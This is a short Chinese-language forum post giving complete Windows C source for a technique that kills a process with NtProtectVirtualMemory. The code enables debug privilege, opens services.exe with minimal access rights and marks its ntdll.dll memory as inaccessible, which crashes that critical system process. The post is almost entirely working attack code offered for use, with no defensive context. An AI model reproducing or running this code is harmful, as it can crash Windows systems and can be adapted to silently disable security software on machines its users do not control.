利用NtProtectVirtualMemory结束进程

三木目

原理很简单，用PROCESS_VM_OPERATION打开目标进程（没必要PROCESS_ALL_ACCESS），把目标进程的ntdll.dll设为不能访问

1. #include <stdio.h>
   
2. #include <Windows.h>
   
3. #include <Psapi.h>
   
4. #include <Tlhelp32.h>
   
5. 
   
6. #pragma comment(lib,"Psapi.lib")
   
7. 
   
8. typedef NTSTATUS (__stdcall *RtlAdjustPrivilege_)(
   
9.     ULONG Privilege,
   
10.     BOOLEAN Enable,
    
11.     BOOLEAN CurrentThread,
    
12.     PBOOLEAN Enabled
    
13.     );
    
14. RtlAdjustPrivilege_ RtlAdjustPrivilege = NULL;
    
15. 
    
16. typedef NTSTATUS (__stdcall *NtProtectVirtualMemory_)(
    
17.     __in HANDLE ProcessHandle,
    
18.     __inout PVOID *BaseAddress,
    
19.     __inout PSIZE_T RegionSize,
    
20.     __in ULONG NewProtectWin32,
    
21.     __out PULONG OldProtect
    
22.     );
    
23. NtProtectVirtualMemory_ NtProtectVirtualMemory = NULL;
    
24. 
    
25. ULONG GetPID (WCHAR* proc)
    
26. {
    
27.     BOOL                working =   0;
    
28.     PROCESSENTRY32      lppe    = {0};
    
29.     ULONG               targetPid=0;
    
30.     HANDLE hSnapshot    =   CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS ,0);
    
31. 
    
32.     if ( hSnapshot )
    
33.     {
    
34.         lppe.dwSize = sizeof( lppe );
    
35.         working = Process32First( hSnapshot, &lppe );
    
36.         while ( working )
    
37.         {
    
38.             if ( _wcsicmp( lppe.szExeFile,proc) ==0 )
    
39.             {
    
40.                 targetPid = lppe.th32ProcessID;
    
41.                 break;
    
42.             }
    
43.             working = Process32Next(hSnapshot,&lppe);
    
44.         }
    
45.     }
    
46. 
    
47.     CloseHandle( hSnapshot );
    
48.     return targetPid;
    
49. }
    
50. 
    
51. void main()
    
52. {
    
53.     HMODULE     ntdll;
    
54.     MODULEINFO  ModuleInfo;
    
55.     ntdll   =   GetModuleHandle( L"ntdll.dll" );
    
56.     if ( !GetModuleInformation( (HANDLE)-1, ntdll, &ModuleInfo, sizeof(MODULEINFO) ) )
    
57.     {
    
58.         return;
    
59.     }   
    
60. 
    
61.     BOOLEAN         Enabled;
    
62.     RtlAdjustPrivilege =  (RtlAdjustPrivilege_)GetProcAddress( ntdll, "RtlAdjustPrivilege" );
    
63.     if ( RtlAdjustPrivilege ==NULL )
    
64.     {
    
65.         return;
    
66.     }
    
67. 
    
68.     RtlAdjustPrivilege( 20, TRUE, FALSE, &Enabled );
    
69. 
    
70.     HANDLE hProc    =   OpenProcess( PROCESS_VM_OPERATION, FALSE, GetPID(L"services.exe") );
    
71.     if ( hProc ==   NULL )
    
72.     {
    
73.         return;
    
74.     }
    
75. 
    
76.     NtProtectVirtualMemory =  (NtProtectVirtualMemory_)GetProcAddress( ntdll, "NtProtectVirtualMemory" );
    
77.     if ( NtProtectVirtualMemory ==  NULL )
    
78.     {
    
79.         return;
    
80.     }
    
81. 
    
82.     ULONG   OldProtect;
    
83.     NtProtectVirtualMemory( hProc, &ModuleInfo.lpBaseOfDll, &ModuleInfo.SizeOfImage, PAGE_NOACCESS, &OldProtect );
    
84. }

复制代码